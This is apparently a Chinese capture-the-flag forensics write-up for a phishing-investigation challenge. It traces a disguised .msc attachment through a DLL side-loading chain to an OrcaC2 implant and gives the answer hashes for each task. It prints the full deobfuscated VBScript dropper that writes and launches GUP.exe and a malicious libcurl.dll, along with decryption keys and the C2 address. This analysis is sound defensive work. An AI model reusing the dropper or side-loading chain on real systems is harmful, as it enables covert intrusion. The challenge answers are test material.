Master of DFIR - Phishing:

1
2
3
4
5
6
题目内容:
饥渴C猫是一个刚刚入职的员工,但是最近他发现自己的电脑变得越来越奇怪。可能由于是之前他接受的一封奇怪的邮件,于是饥渴C猫找到了你,他希望你作为取证-应急响应大师可以帮忙。你可以完成调查到底发生了什么并且填写相关的调查报告。

提示:第六问指得是解密完载荷后可以看到一个s******s的函数(*不代表正确长度) 然后你需要去提交该函数的参数,这个参数是需要解字符串混淆后的一段字符串 并且将这段字符放到cyberchef MD5一下

第12问的最终载荷指得是RAT的载荷 java的马和本题目毫无关系

task1:

(1).攻击者的邮箱是什么? (注意:MD5(攻击者邮箱),以cyberchef的为准) 示例:9b04d152845ec0a378394003c96da594

a8cd5b4ba47e185d4a69a583fde84da5

(2). 受害者的邮箱是什么? (注意:MD5(受害者邮箱),以cyberchef的为准) 示例:9b04d152845ec0a378394003c96da594

b9cae449f959162f0297fa43b458bd66

打开eml文件,发现两者的邮箱

image-20250926170901284

alice@flycode.cn --> a8cd5b4ba47e185d4a69a583fde84da5

bob@flycode.cn --> b9cae449f959162f0297fa43b458bd66

task2:

(1).攻击者所投放的文件md5是什么? (注意:以md5sum的结果为准) 示例:33ec9f546665aec46947dca16646d48e

f436b02020fa59f3f71e0b6dcac6c7d3

(2).攻击者所投放文件的密码是什么? 示例:000nb

2024qwbs8

下载下来文件直接md5即可f436b02020fa59f3f71e0b6dcac6c7d3

image-20250926171531654task3:

(1).攻击者所使用的攻击载荷后缀是什么? 示例:lnk

msc

(2).攻击者所使用的攻击载荷文件windows默认的打开方式的全称是什么? 示例:Microsoft Windows Based Scripting Host

Microsoft Management Console

使用已知密码将压缩包进行解压,得到:关于组织参加第八届 “强网杯” 全国网络安全挑战赛的通知(11 月 2 日至 3 日举行线上赛).msc

msc 文件的文件缩略图经过篡改,改为了 pdf 文件的缩略图,可以断定为经过伪造的恶意文件

msc 文件的默认打开方式,是 Microsoft 管理控制台(Microsoft Management Console (MMC))

task4:

攻击者所投放样本的初始执行语句在该攻击载荷文件的第几行? 示例:20

97

在92发现了恶意的js载荷,97行执行了js载荷

image-20250926181845490

task5:

经过初始执行后,攻击者所加载的第二部分载荷所使用的语言是什么? 示例:javascript

VBScript

image-20250926182217896

task6:

(1).攻击者所进行的第二部分载荷其将白EXE存在了什么地方? (注意:需要提供完成的解混淆后的第二部分载荷s…….s函数的参数) 提交需要MD5(参数内容) 以Cyberchef结果为准示例:9b04d152845ec0a378394003c96da594

69b23cfd967d07c39d1517e2a3c37e34

(2).攻击者所进行的第二部分载荷其将黑DLL存在了什么地方? (注意:需要提供完成的解混淆后的第二部分载荷s…….s函数的参数) 提交需要MD5(参数内容) 以Cyberchef结果为准示例:9b04d152845ec0a378394003c96da594

d2fabdcc28074462ac2379101836c938

提取出VBS代码,发现其用了chr函数拼接进行了混淆

image-20250926222132218想办法去混淆,去混淆方法来自[2024 强网杯 Master of DFIR | Target Machines WriteUp](https://tryhackmyoffsecbox.github.io/Target-Machines-WriteUp/blog/2024qwbs8 Master of DFIR#task7)

Visual Basic (VB.NET) - OneCompiler 中,使用以下 VB 代码进行解混淆

1
2
3
4
5
6
7
8
9
Public Module Program
Public Sub Main(args() As String)
'按顺序计算每个 Chr 函数并连接字符串
Dim result As String = Chr(98) & Chr(Int("105")) & Chr(110)

' 输出结果
Console.WriteLine(result)
End Sub
End Module

在 Visual Basic 中,原语句为 Chr(Int("&H6f")) 需要改为 Chr(Convert.ToInt32("6f", 16))

或者改为 Chr(&H6f)

可以使用以下脚本辅助处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
with open("./data.txt", "r") as f:
data = f.read().strip()

data = data.replace("&H", "##")

data = data.split("&")

data = [i.replace("##", "&H") for i in data]

for i in range(len(data)):
if 'Int("&H' in data[i]:
data[i] = data[i].replace('Int("&H',"&H")
data[i] = data[i].replace('")', "")

print("&".join(data))

然后手动将混淆部分用vb代码去混淆,得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
Dim mscLL
mscLL="_MSC"
For i=1 to Len(mscLL) Step 4
oFmXCTg=oFmXCTg & ChrW(CLng("&"&Chr(72) & Mid(mscLL,i,4)))
Next
Set RTcxFmy=CreateObject(Microsoft.XMLDOM)
RTcxFmy.Async=False
RTcxFmy.Load( oFmXCTg )
AJ8p
Function Xk7fbp8v(inp)
Dim q4XPbvoV
Dim HxWK
Set q4XPbvoV=CreateObject(MSXML2.DOMDocument)
Set HxWK=q4XPbvoV.createElement(a)
HxWK.DataType=bin.base64
HxWK.Text=inp
Xk7fbp8v=HxWK.nodeTypedValue
End Function
Function AJ8p()
On Error Resume Next
Dim AgUvcCuHzzbl
Dim DfAV40y
Dim gwqhhV
Dim JJNe
Dim Mw7U
Dim O8B1OrkTW
OMxa=51734e8e7ec47ec753c252a07b2c516b5c4a201c5f3a7f51676f201d516856fd7f517edc5b895168631162188d5b7684901a77e5ff08003100316708003265e581f3003365e54e3e884c7ebf4e0a8d5bff09002e007000640066
Set AgUvcCuHzzbl=CreateObject(WScript.Shell)
Set DfAV40y=CreateObject(Scripting.FileSystemObject)
O8B1OrkTW=AgUvcCuHzzbl.ExpandEnvironmentStrings(%ProgramFiles%)
P59b6scR2TD9=O8B1OrkTW & \Cloudflare
DfAV40y.CreateFolder(P59b6scR2TD9)
gwqhhV=P59b6scR2TD9 & \GUP.exe
JJNe=P59b6scR2TD9 & \libcurl.dll
For i=1 to Len(OMxa) Step 4
FRURX=FRURX & ChrW(CLng("&"&Chr(72) & Mid(OMxa,i,4)))
Next
Mw7U=DfAV40y.GetSpecialFolder(2) & Chr(92) & FRURX
Set aZPHxtz4=RTcxFmy.selectNodes( /MMC_ConsoleFile/BinaryStorage/Binary[@Name='CONSOLE_TREE'])
rqsgO2mBfu=aZPHxtz4(0).text
UoLAunW=Xk7fbp8v(rqsgO2mBfu)
Dim jXnaWeLQ12
Set jXnaWeLQ12=CreateObject(ADODB.Stream)
jXnaWeLQ12.Type=1
jXnaWeLQ12.Open
jXnaWeLQ12.Write UoLAunW
jXnaWeLQ12.SaveToFile Mw7U,2
AgUvcCuHzzbl.run """" & Mw7U & """",1,false
Set aZPHxtz4=RTcxFmy.selectNodes( /MMC_ConsoleFile/BinaryStorage/Binary[@Name='CONSOLE_MENU'])
Ze1C=aZPHxtz4(0).text
Set aZPHxtz4 = RTcxFmy.selectNodes( /MMC_ConsoleFile/BinaryStorage/Binary[@Name='CONSOLE_PANE'])
JozMh9jg=aZPHxtz4(0).text
AnZUOdqFuMEw=Xk7fbp8v(Ze1C)
s4fr2y4Q7lvQ=Xk7fbp8v(JozMh9jg)
Dim cHh5wARUext
Set cHh5wARUext=CreateObject(ADODB.Stream)
cHh5wARUext.Type=1
cHh5wARUext.Open
cHh5wARUext.Write AnZUOdqFuMEw
cHh5wARUext.SaveToFile gwqhhV,2
Dim BKzG1ldRw7
Set BKzG1ldRw7=CreateObject(ADODB.Stream)
BKzG1ldRw7.Type=1
BKzG1ldRw7.Open
BKzG1ldRw7.Write s4fr2y4Q7lvQ
BKzG1ldRw7.SaveToFile JJNe,2
AgUvcCuHzzbl.run """" & gwqhhV & """" & t 8.8.8.8,0,false
End Function
Public Function i9Vu0(ByVal Value,ByVal Shift)
i9Vu0=Value
If Shift>0 Then
If Value>0 Then
i9Vu0=Int(i9Vu0/(2^Shift))
Else
If Shift>31 Then
i9Vu0=0
Else
i9Vu0=i9Vu0 And &H7FFFFFFF
i9Vu0=Int(i9Vu0/(2^Shift))
i9Vu0=i9Vu0 Or 2^(31-Shift)
End If
End If
End If
End Function
Public Function PIvwo4QDjBC(ByVal Value,ByVal Shift)
PIvwo4QDjBC=Value
If Shift>0 Then
Dim i
Dim m
For i=1 To Shift
m=PIvwo4QDjBC And &H40000000
PIvwo4QDjBC=(PIvwo4QDjBC And &H3FFFFFFF)*2
If m<>0 Then
PIvwo4QDjBC=PIvwo4QDjBC Or &H80000000
End If
Next
End If
End Function
Public Function eUBp1LoLYEMy(ByVal num)
Const rkLx=5570645
Const beweT2U=52428
Const d1=7
Const d2=14
Dim t,u,out
t=(num Xor i9Vu0(num,d2)) And beweT2U
u=num Xor t Xor PIvwo4QDjBC(t,d2)
t=(u Xor i9Vu0(u,d1)) And rkLx
out=(u Xor t Xor PIvwo4QDjBC(t,d1))
eUBp1LoLYEMy=out
End Function
Public Function FTKaWvcYaGWt(ByRef MiCzi9())
Dim i,fr,upJNNa,raw
Dim a,b,c,d
Dim YBx4PZLTHSQ1
Dim EJSi8qJd0()
Dim a2,b2
YBx4PZLTHSQ1=""
For i=0 To (UBound(MiCzi9)/4+1)
fr=i*4
If fr>UBound(MiCzi9) Then
Exit For
End If
upJNNa=0
upJNNa=upJNNa Or PIvwo4QDjBC(MiCzi9(fr+3),24)
upJNNa=upJNNa Or PIvwo4QDjBC(MiCzi9(fr+2),16)
upJNNa=upJNNa Or PIvwo4QDjBC(MiCzi9(fr+1),8)
upJNNa=upJNNa Or MiCzi9(fr+0)
raw=eUBp1LoLYEMy(upJNNa)
a=Chr(i9Vu0((raw And &HFF000000),24))
b=Chr(i9Vu0((raw And 16711680),16))
c=Chr(i9Vu0((raw And 65280),8))
d=Chr(i9Vu0((raw And 255),0))
YBx4PZLTHSQ1=YBx4PZLTHSQ1+d+c+b+a
Next
FTKaWvcYaGWt=YBx4PZLTHSQ1
End Function
Public Function t4zFxxgg22(MiCzi9)
Dim CYhV8N(),Liefs(),arrayByte3(255)
Dim Rp7jaY2jOqr(63),arrayLong5(63)
Dim Mbt0mzk6(63),NALQp0Gu3
Dim b7Z9n8,iter,VKkZEf,ZyvKLLyyHHD
Dim YBx4PZLTHSQ1
MiCzi9=Replace(MiCzi9,vbCr,vbNullString)
MiCzi9=Replace(MiCzi9,vbLf,vbNullString)
ZyvKLLyyHHD=Len(MiCzi9) Mod 4
If InStrRev(MiCzi9,"==") Then
b7Z9n8=2
ElseIf InStrRev(MiCzi9,""+"=") Then
b7Z9n8=1
End If
For ZyvKLLyyHHD=0 To 255
Select Case ZyvKLLyyHHD
Case 65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90
arrayByte3(ZyvKLLyyHHD)=ZyvKLLyyHHD-65
Case 97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122
arrayByte3(ZyvKLLyyHHD)=ZyvKLLyyHHD-71
Case 48,49,50,51,52,53,54,55,56,57
arrayByte3(ZyvKLLyyHHD)=ZyvKLLyyHHD+4
Case 43
arrayByte3(ZyvKLLyyHHD)=62
Case 47
arrayByte3(ZyvKLLyyHHD)=63
Case Else
End Select
Next
For ZyvKLLyyHHD=0 To 63
Rp7jaY2jOqr(ZyvKLLyyHHD)=ZyvKLLyyHHD*64
arrayLong5(ZyvKLLyyHHD)=ZyvKLLyyHHD*4096
Mbt0mzk6(ZyvKLLyyHHD)=ZyvKLLyyHHD*262144
Next
Liefs=StrConv(MiCzi9,vbFromUnicode)
ReDim CYhV8N((((UBound(Liefs)+1)\4)*3)-1)
For iter=0 To UBound(Liefs) Step 4
NALQp0Gu3=Mbt0mzk6(arrayByte3(Liefs(iter)))+arrayLong5(arrayByte3(Liefs(iter+1)))+Rp7jaY2jOqr(arrayByte3(Liefs(iter+2)))+arrayByte3(Liefs(iter+3))
ZyvKLLyyHHD=NALQp0Gu3 And 16711680
CYhV8N(VKkZEf)=ZyvKLLyyHHD\65536
ZyvKLLyyHHD=NALQp0Gu3 And 65280
CYhV8N(VKkZEf+1)=ZyvKLLyyHHD\256
CYhV8N(VKkZEf+2)=NALQp0Gu3 And 255
VKkZEf=VKkZEf+3
Next
YBx4PZLTHSQ1=StrConv(CYhV8N,vbUnicode)
If b7Z9n8 Then YBx4PZLTHSQ1=Left(YBx4PZLTHSQ1,Len(YBx4PZLTHSQ1)-b7Z9n8)
t4zFxxgg22=FTKaWvcYaGWt(StrConv(YBx4PZLTHSQ1,vbFromUnicode))
t4zFxxgg22=qY7AOEpU1wn(t4zFxxgg22,"~")
End Function
Function qY7AOEpU1wn(str,chars)
Dim fqX3dbudmU
Dim XVZECKbx()
XVZECKbx=Split(str,chars)
fqX3dbudmU=UBound(XVZECKbx,1)
If fqX3dbudmU<>0 Then
str=Left(str,Len(str)-fqX3dbudmU)
End If
qY7AOEpU1wn=str
End Function

分析代码可知,这个vbs代码作用是

  • 释放真正的PDF
  • 释放 /MMC_ConsoleFile/BinaryStorage/Binary[@Name='CONSOLE_MENU'] 文件名为 GUP.exe
  • 释放 /MMC_ConsoleFile/BinaryStorage/Binary[@Name='CONSOLE_PANE'] (6/13)文件名为 libcurl.dll
  • 运行 GUP.exe 的参数为 t 8.8.8.8

/MMC_ConsoleFile/BinaryStorage/Binary[@Name='CONSOLE_MENU'] --> 69b23cfd967d07c39d1517e2a3c37e34

/MMC_ConsoleFile/BinaryStorage/Binary[@Name='CONSOLE_PANE'] --> d2fabdcc28074462ac2379101836c938

task7:

攻击者使用的这个白EXE加载黑DLL的手法所对应的MITRE ATT&CK ID是什么? (注意:请注意示例的提示提交大类即可不需要细化到分项) 示例: T1000

T1574

这是dll侧加载技术,已经确定使用的手法为 白加黑 方案,即使用白名单程序(例如证书验证)加载恶意 DLL 库文件,借此规避安全软件的检测,根据攻击手法,可以确定到 MITRE ATT&CK ID T1574

1
2
3
4
5
T1574 Hijack Execution Flow - 劫持执行流

对手可能通过劫持操作系统运行程序的方式来执行自己的恶意负载。劫持执行流的目的可能是为了持久性,因为这种劫持的执行可能会随着时间的推移再次发生。对手也可能利用这些机制来提升权限或规避防御措施,例如应用程序控制或其他执行限制。

对手劫持执行流的方式有很多种,包括通过操控操作系统定位要执行的程序。操作系统定位程序所需库文件的方式也可能被拦截。操作系统查找程序 / 资源的路径,例如文件目录,或在 Windows 中的注册表,也可能被污染,从而包括恶意负载。

image-20250926224754713

task8:

攻击者所使用的黑DLL劫持了原始DLL的哪个函数? 示例: main

curl_easy_init

ida打开黑dll后

image-20250927214906634

检查库函数,发现其他函数都是直接返回dword,而 curl_easy_init() 函数,这个调用了函数sub_100012401函数

image-20250927215545654

这个函数的参数是一个数组

image-20250927220211211

可以怀疑是 curl_easy_init() 函数被篡改,从数组中读取恶意载荷解密后执行

task9:

(1).攻击者所使用的黑DLL解密下一阶段载荷所使用的算法是什么? 示例:chacha20

RC4

(2).攻击者所使用的黑DLL解密下一阶段载荷所使用的Key是什么? (注意:请提交一段小写的十六进制字符串) 示例:1122334455

f21a9d8b1e5d

跟进分析 sub_10001240() 函数,分析可得知这个是一个非标准的RC4加解密

image-20250930152255573

由下图,将 v41,v42 作为 Char 变量进行查看,得到 \x5D\x1E\x8B\x9D\x1A\xF2,由于 key 是使用小端序进行储存,转为大端序即可f21a9d8b1e5d

image-20250930153529219

task10:

攻击者所使用的下一阶段载荷的回连C2是什么? (注意:需要提供ip地址:端口的形式) 示例:127.0.0.1:5100

192.168.57.119:6000

需要先将 libcurl.dll 中的载荷进行提取,通过对于函数逻辑的基本分析,可以确定数据储存在 &unk_100080B0 中,那么可以直接在 sub_10001240() 函数的 memcpy(lpProc, this, v23); 语句下断点,将解密后的载荷直接dump出来

image-20250930161004892

1
2
3
4
5
6
import idaapi

data = idaapi.dbg_read_memory(0x78BE80B0, 136192)
fp = open(r'D:\Desktop\CTF_study\qz\2024强网杯\master_of_dfir\dump', 'wb')
fp.write(data)
fp.close()

导出后在ida中打开

image-20250930165423638

发现一个名为IpAddress的东西,在这个地方下断点,调试,在寄存器中看到回连ip和下载的文件

image-20250930165844975

再另一个地方看到回连的端口6000

image-20250930170021038

同时流量包中第一个tcp流也可印证

image-20250930171201756

task11:

攻击者所使用最终阶段载荷所使用的加密算法是什么? 示例:DES

AES

从流量包中把1730391917.bin 文件 dump 出来,用volexity/donut-decryptor: Retrieve inner payloads from Donut samples去混淆,得到恶意载荷

image-20251001195914077

得到密钥pJB`-v)t^ZAsP$|r

image-20251001200957236

根据流量包请求头的信息,得知这个C2的名称Ptkatz/OrcaC2: OrcaC2是一款基于Websocket加密通信的多功能C&C框架,使用Golang实现。,进一步确定其加密算法为AES

task12:

攻击者所使用最终阶段载荷所使用的密钥的MD5是什么? (注意:MD5(密钥内容),以cyberchef的为准) 示例:9b04d152845ec0a378394003c96da594

a524c43df3063c33cfd72e2bf1fd32f6

1
pJB`-v)t^ZAsP$|r --> a524c43df3063c33cfd72e2bf1fd32f6

task13:

攻击者使用了什么家族的C2? 示例:PoshC2

OrcaC2